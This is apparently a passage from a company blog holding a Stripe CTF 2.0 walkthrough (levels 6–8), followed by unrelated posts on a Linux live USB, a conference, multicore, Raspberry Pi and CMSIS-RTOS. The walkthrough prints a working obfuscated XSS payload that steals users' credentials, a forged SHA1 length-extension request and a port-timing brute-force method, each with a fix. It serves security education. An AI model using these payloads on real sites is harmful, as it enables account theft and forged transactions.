	document.forms[0].submit(); 
});

One problem we have is that we typically need to use quotes to demark strings in our JavaScript which are forbidden but fortunately we can use a combination of JavaScript’s eval() operation and String.fromCharCode to accomplish what we need.

String.fromCharCode() will allow us to encode forbidden characters that will be replaced at runtime by the eval() function – such that alert('Hi') becomes, alert(eval(String.fromCharCode(39, 72, 105, 39))).

So knowing this, we can create our script and then convert it to using eval/String.fromCharCode so that our naughty script goes from…

}];// </script><script>$.get('user_info'), function(data){ data = data.substr(data.length - 180); data = data.replace('\"',''); data = data.replace('\'',''); document.forms[0].content.value = data; document.forms[0].submit(); });</script> 

to this.

}];// </script><script>$.get(eval(String.fromCharCode(39, 117, 115, 101, 114, 95, 105, 110, 102, 111, 39)), function(data){ data = data.substr(data.length - 180); data = data.replace(eval(String.fromCharCode(39, 92, 34, 39)),eval(String.fromCharCode(39, 60, 68, 79, 85, 66, 76, 69, 62, 39))); data = data.replace(eval(String.fromCharCode(39, 92, 39, 39)),eval(String.fromCharCode(39, 60, 83, 73, 78, 71, 76, 69, 62, 39))); document.forms[0].content.value = data; document.forms[0].submit(); });</script> 

Finally, we can insert this into the stream (preferably with JavaScript disabled unless you want to run it yourself!) and wait for the first user to log in and unwittingly execute our script and post their valuable credentials.

The Fix

By now, we should be totally paranoid about any input data! Be sure to strip, encode or filter and reject user data if it contains any HTML characters with safe alternatives such that so that ‘<’ becomes
&lt;. A read of the Secure-Programs-HOWTO is a good way to become aware of the ways that users can trick you into running bad code.

Level 7

The Brief

For level 7, we are introduced to an on-line waffle ordering system. There are two levels of waffles that can be ordered, standard waffles and ‘premium’ waffles. We only have access to the standard waffles, but we need to be able to place on order for a premium waffle to reveal the password for the next level.
We are provided with an API to the ordering system along with our secret key and a page (/logs/<user_id>)where we can view any previous orders we may have placed.

The Hack

The API for the system attempts to be secure by using a message signing system. There are two parts to the order, the parameters of count, user_id, latitude, longitude and waffle. These are then signed with an SHA1 algorithm using our secret key. This would give a string such as:

count=1&lat=0&user_id=5&long=0&waffle=liege|sig:a2f7af47b2633dd00f94d204e03d2a3f9a012674

This means we can exploit a
SHA padding attack
. This enables us to create a valid SHA1 key without knowing the original secret

The design of the system allows to find the order log of any user by changing the user ID on the logs page. From this we can get an original order from a privileged user:

count=10&lat=37.351&user_id=1&long=-119.827&waffle=eggo|sig:5fe387f05d3b205b6d10108c8f31312c8fd56711

There are tools that can generate SHA padding:

We want to add the parameter waffle=liege to the parameters, and using the tools we get a new string of:

count=2&lat=37.351&user_id=1&long=-119.827&waffle=chicken\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x028&waffle=liege|sig:c0b55677bf18c7b48a32f1f705667e11008b93b2

The Fix

The first reason why we are able to use this hack is because it is very simple to find the logs of other users – these should be protected – and the second reason is because the input has not been sanitised correctly.
The code used is:

def parse_params(raw_params):
    pairs = raw_params.split('&')
    params = {}
    for pair in pairs:
        key, val = pair.split('=')
        key = urllib.unquote_plus(key)
        val = urllib.unquote_plus(val)
        params[key] = val
    return params

This allows the same key to be submitted twice, and the second time it will overwrite the value of the first.

By changing the code to something like the following:

def parse_params(raw_params):
    pairs = raw_params.split('&')
    params = {}
    for pair in pairs:
        key, val = pair.split('=')
        key = urllib.unquote_plus(key)
        val = urllib.unquote_plus(val)
        if not key in params:
            params[key] = val
    return params

the second instance of ‘waffle’ would have been ignored.

Level 8

The Brief

For level 8 we had to crack a new password storing mechanism. To supposedly increase security, a password is split between four separate servers – so that even if one server was compromised, the password would still be secure. To check a password, a 12 digit password was submitted to the main server and it would simply return ‘success’ or ‘failure’.

The system also provided a webhook that would be called by the main server to return the result of the password attempt.

To make life more interesting, the password server had been firewalled, so that it could only be reached from another stripe-ctf.com server and in addition to this, the system has delays inserted safe to prevent timing attacks such that the main server always returned the success or failure of a password in a consistent time.

The Hack

We knew from previous levels, that we could launch our attack from the compromised level 2 server – so that was one part of the challenge solved.

Looking at the design of the algorithm, it was fairly obvious that the fundamental flaw was that by splitting the key into 4 chunks of 3 digits, it greatly reduced the possible combinations from 1012 to 103 which is feasible to attack by brute force.

The first attempt at cracking this involved finding the four servers by sweeping through the port numbers for a valid response and then attacking each of chunk servers in turn. While this worked locally – it failed on the stripe servers as the chunk servers were firewalled and could not be reached from the level 2 server…

By going back to the logs, we finally noticed the second flaw in the system. The main server split the 12 digits into chunks and submitted the chunks to the chunk servers in turn. However, if any of the chunk servers returned a failure, then for efficiency, the main server stopped checking and returned the result to the server specified in the webhook. This actually turned out to be the key flaw in the system, as the webhook could look at the successive client port numbers from the main server and work out how far along the system it had got (client port numbers are assigned sequentially – so the each call to a chunk server would use a port number – therefore the fewer port numbers used between calls indicated that the password failed early).

Therefore it became possible to brute force the first chunk by looking for a port difference of 2, the second chunk for a port difference of 3 and for chunk 3 a port difference of 4.

The Fix

Aside from the flaw in the system that reduced the possible combinations to a point where it became feasible to brute force the attack – the main flaw that allowed the attack to succeed was the shortcut of not submitting all the chunks to all the servers each time.
While this may have seemed like a good idea for computational efficiency, it proved to be the weak link that could then be exploited.

Conclusion

Hopefully this has been a useful and insightful article on the many ways that web applications can be attacked – just today Google published an article about how difficult content hosting on the modern web has become and if those sorts of players are struggling with it then it’s a very serious issue indeed.

You should sign up for our mailing list to hear about our latest blog articles and exciting new course offerings and if you have insight or alternative solutions we’d love to hear about them in the comments.

Capturing the Stripe-d Flag

August 24th, 2012

In the first half of this year, the online payment company Stripe held a Capture the Flag competition as a way to draw attention to online security.

They state that:

“The hardest part of writing secure code is learning to think like an attacker. For example, every programmer is told to watch out for SQL injections, but it’s hard to appreciate just how exploitable they are until you’ve written a SQL injection of your own.” – Stripe

It was a fascinating challenge and allowed us geeks to flex our brain muscles a bit but I only managed to gain access to level 05 due to a combination of work commitments, being a new dad.. and well, uh, not being good enough.

It featured a mixed bag of exploits and required a good working knowledge of the Linux shell, in depth C programming and a bit of web programming.

After the competition drew to a close the winners were congratulated and given T-Shirts and a fantastic talking point for their next job interview and soon full walkthroughs were available online.

If you want to take the challenge yourself, Stripe have made these old challenges available via direct download or torrent which they are now using as a way to recruit potential employees – a fantastic idea no?

Introducing Capture The Flag 2.0

Recently, the Stripe team announced the release of Capture the Flag 2.0 which has a focus on web security.

Not being one to shy away from a challenge, I’ve decided to give it a go and, as of writing, I’ve managed to gain access to level 7 of 8 and it’s been a fantastic challenge so far and exposes the many ways that sites are vulnerable via a number of mock web applications. So far I’ve gone up against XSS, SQL injection, PHP session exploits amongst others.

I don’t want to post any spoilers so far for the individual levels so if you want to give it a go then get involved at the official site https://stripe-ctf.com/

Interestingly we here at Feabhas hope to introduce some new courses looking at both Hardening Linux and Security Essentials so keep your eyes peeled for our new offerings and we’ll be following up this article with a post-mortem of the levels we’ve managed to crack and how to best remove these attack vectors.

Embedded System Conference – India

July 13th, 2012

 

This year I have honour of being invited to present at the Embedded Systems Conference in Bengaluru (Bangalore), India. Based on previous visits these classes are very well attended and always generate a lot of post-class discussions.

This year I’ve extended my previous 1/2 day class to a full day titled “Programming in C for the ARM Cortex-M Microcontroller”. Having a full day allows me to delve in too much greater detail. The class is broken down in to four subsections:

  • Cortex-M Architecture
  • C Programming and the Cortex-M
  • CMSIS (including CMSIS-RTOS)
  • Debug (including CoreSight)

An overview is covered here.

The other class is one I have presented at ESC in the US before but not in India; Understanding Mutual Exclusion: The Semaphores vs. the Mutex. This presentation is based around much of the material in some of my previous postings (see RTOS related blog postings ). I still find this class really interesting. In general, whenever you bring up the mutex/semaphore discussion most people jump to a per-conceived idea that they know the differences; by the end of this class most understand that their mental model was incorrect.

If anyone is attending then please come and say hello.

Creating a Linux Live USB Thumbstick (The Hard Way)

July 6th, 2012

Introduction

So recently I needed to create a live system and I had a spare 8 GB USB drive on which to do it.

Looking around the net there’s a lot of solutions to doing this but I needed something that would be independent of the host distribution – I used Fedora 17 in this instance but it might not be in the future – and would work quickly and easily.

This article seeks to document what I did in order to accomplish this – whether it could be done better is for you to sort out in the comments!

Getting Started

You will need the CD ISO of the distribution you want to use (I used Ubuntu 10.04.4 LTS) and an inserted but unmounted thumb drive.

1. Using the Disk Utility, partition the disk such that the first partition is as big as it can be – minus 750MB – set it as bootable and format it as Fat (FAT32 LBA)

2. Create an additional partition of unformatted space up until the end of the drive to take up the 750MB.

3. Mount the first partition from the command prompt, note my device came up as /dev/sdc, yours may differ:

sudo mount /dev/sdc1 /mnt

4. Install grub2 onto the windows partition. You will need to have this package installed (either yum install grub2 on Fedora or sudo apt-get install grub2 on a Debian/Ubuntu system).

sudo grub2-install --no-floppy --root-directory=/mnt /dev/sdc

5. Copy over the kernel and initrd (initial RAM disk) over from the ISO. To do this I double clicked the ISO, let it automount, grabbed the files vmlinuz and initrd.lz from /casper/ and copied them over to my home directory. I then copied them to the drive.

sudo cp ~/{vmlinux,initrd.lz} /mnt/boot/

6. Create a file to be used as the persistent file-system – I have chosen to create mine as 2GB here but you can choose whatever you like bearing in mind you can’t have a file larger than 4GB on a FAT32 partition.

sudo dd if=/dev/zero of=/mnt/casper-rw bs=1M count=2048

7. Format the persistent filesystem file

sudo mkfs.ext4 -F /mnt/casper-rw

8. Write your Linux ISO to the second partition

sudo dd if=~/ubuntu-10.04.4-desktop-i386.iso of=/dev/sdc2

9. Create a grub2 boot menu

Create/Open up the file /mnt/boot/grub2/grub.conf in your favourite editor and make it look like this:

set default=0
set timeout=10
menuentry “Ubuntu Live” {
set root=(hd0,1)
linux /boot/vmlinuz boot=casper file=/preseed/ubuntu.seed persistent rw noprompt noeject
initrd /boot/initrd.lz
}

10. Unmount and sync the drive

sudo umount /mnt
sudo sync

11. Reboot your system (safely!)

12. Choose the correct option to boot from USB and enjoy your new Linux environment.

And that’s it. You now have a USB live CD that should allow you to create live environments for a wide variety of distros whilst also  requiring no disto specifics tools.

 

Nb. As a former Ubuntu guy I was really chuffed to find out about the command ‘yum provides <binary|file>’ which causes yum to go off and find a package that provides that a file by that name for example:

[nick@slimtop ~]$ yum provides grub2-install
Loaded plugins: downloadonly, langpacks, presto, refresh-packagekit
1:grub2-2.0-0.25.beta4.fc17.i686 : Bootloader with support for Linux, Multiboot and more
Repo        : fedora
Matched from:
Filename    : /usr/sbin/grub2-install

Very cool – on Debian you can install the apt-file package which will let you accomplish the same thing.

Can existing embedded applications benefit from Multicore Technology?

June 15th, 2012

It feels that not a day goes by without a new announcement regarding a major development in multicore technology. With so much press surrounding multicore, you have to ask the question “Is it for me?” i.e. can I utilise multicore technology in my embedded application?

However, from a software developer’s perspective, all the code examples seem to demonstrate the (same) massive performance improvements to “rendering fractals” or “ray tracing programs”. The examples always refer to Amdahl’s Law, showing gains when using, say, 16- or 128-cores. This is all very interesting, but not what I would imagine most embedded developers would consider “embedded”.  These types of programs are sometimes referred to as “embarrassingly parallel” as it is so obvious they would benefit from parallel processing. In addition the examples use proprietary solutions, such as TBB from Intel, or language extensions with limited platform support, e.g. OpenMP. In addition, this area of parallelisation is being addressed more and more by using multicore General Purpose Graphics Processing Units (GPGPU), such as PowerVR from Imagination Technologies and Mali from ARM, using OpenCL; however this is getting off-topic.

So taking “fractals”, OpenMP and GPGPUs out of the equation, is multicore really useful for embedded systems? Read more »

Raspberry Pi – First Impressions and Raspbmc

May 30th, 2012

The Pi Has Landed

It arrived. After quite some delay my Model B Raspberry Pi has arrived.

The Raspberry Pi is powered by the Broadcom BCM2835 SoC which includes an ARM1176JZF-S core running at 700Mhz, 256MB SDRAM and a Videocore 4 GPU which is capable of BluRay quality playback (H.264/MPEG-4 AVC at 40MBits/s) which puts it roughly on par with a 1st generation Xbox with slightly better graphics.

There are two models of Pi. The Model B which is ‘available’ at the moment comes with two USB ports, Ethernet connectivity and 256MB RAM and the lesser-equipped Model A which was originally going to have half the RAM, no Ethernet and only one USB port but is now predicted to have the full 256MB of the Model B so there may be other changes as well.

These differences aside, the Pi come equipped with a decent assortment of ports, including HDMI and composite video and will boot from an SD card, or as I found out, a MicroSD in an SD Adaptor!

The highly capable GPU and HDMI output are what clinched the purchase for me – if I couldn’t think of anything cooler to do with it, I could port XBMC to it and use it as a very affordable Home Theatre PC.

As many of you are no doubt aware, there has been a phenomenal amount of interest in getting hold of a Pi as I too found out and by the time it had arrived the RaspBMC project had been created which uses a minimal Debian based-distribution to bring XBMC to the Raspberry Pi.

RaspBMC

I grabbed the beta installer binary from the site (available here) and used the Linux utility dd to write it to the SD card which had appeared as /dev/sdb on my Fedora machine.

gunzip -c ~/Downloads/installer-testing.img.gz | dd of=/dev/sdb

This command simply gunzips the .gz file to STDOUT which is piped through to dd and subsequently written raw to the SD card.


I unmounted the disk and plugged it into the Raspberry Pi along with HDMI to the television, Ethernet cable to the router and finally USB power from a 5V phone charger and within moments was watching a Debian boot.

I’m not sure whether it’s a rather noisy driver or a really bad SD card but I was seeing a *lot* of console output from the mmc0 module about timeouts and codes but I chose to ignore this and wait for the installer to spring into life.

The installer itself is an ncurses based system that is incredibly hands off and robust unlike many quick hacks which can drop you into a rescue shell with no hope of getting out!

 

 

It guides you through and provides useful information on what is happening as it repartitions your SD card, fetches the latest RootFS and kernel.

Eventually you will be prompted to reboot the Pi – which I did with an unplug/replug – and the system will now boot you into the latest environment. It’s worth noting that the RaspBMC distribution will keep itself upto date, checking for updates every time it is powered on.

For those keeping count, it took approximately a minute for XBMC to finally launch but it did so in full 1080 with working sound.

I tested with some HD trailers I had and the graphics seemed to struggle a bit with some of the 1080p media I threw at it with dark lines appearing on screen and occasional drop outs where the TV could not detect an HDMI signal, but it was playing from a USB drive and had full DTS audio so it may have proved too much.

One of the killer features of XBMC is how extensible it is given that the plugins are all Python based which means no binary incompatibility – I was able to install the TED Talks, 4oD and BBC iPlayer plugins with ease and was impressed with the performance which saw no issues at all.

By default FTP and SSH services run on the platform which means that it can be used for light file serving/server needs and RaspBMC also has full access to the ARMEL Debian repositories which provide a wealth of software that is just an apt-get away.

Closing

I’m not sure if I’ll continue to use the Pi as a media centre as there may be more interesting projects I can do with it but at the moment it is a good showcase for the Pi and provides a project that may garner heavy interest in the future. It’s a bit rough around the edges and it looks like RaspBMC really pushes the hardware but it’s a great piece of kit and I’d recommend giving RaspBMC a spin.

CMSIS-RTOS Presentation

May 11th, 2012

I have finally finished and sent off my presentation for next weeks Hitex one-day ARM User Conferences titled “ARM – the new standard across the board?” at the National Motorcycle Museum in Solihull.

Back in February, at the embeddedworld exhibition and conference in Nuremberg, Germany, ARM announced the latest version (version 3) of the Cortex(tm) Microcontroller Software Interface Standard (CMSIS). The major addition is the introduction of an abstraction layer for Real-Time Operating Systems (RTOS).

CMSIS_Logo_Final

The presentation I’m giving explains; what the abstraction layer offers, how it maps on to an underlying RTOSs API (e.g. ARM/Keil’s RTX), and what is required to re-target another RTOS.

If you can’t make the event (I would recommend it if you can, the last one had a lot of very useful information), then I plan to make the presentation available as a slide deck and a narrated video after the event, so watch this space.

%d bloggers like this: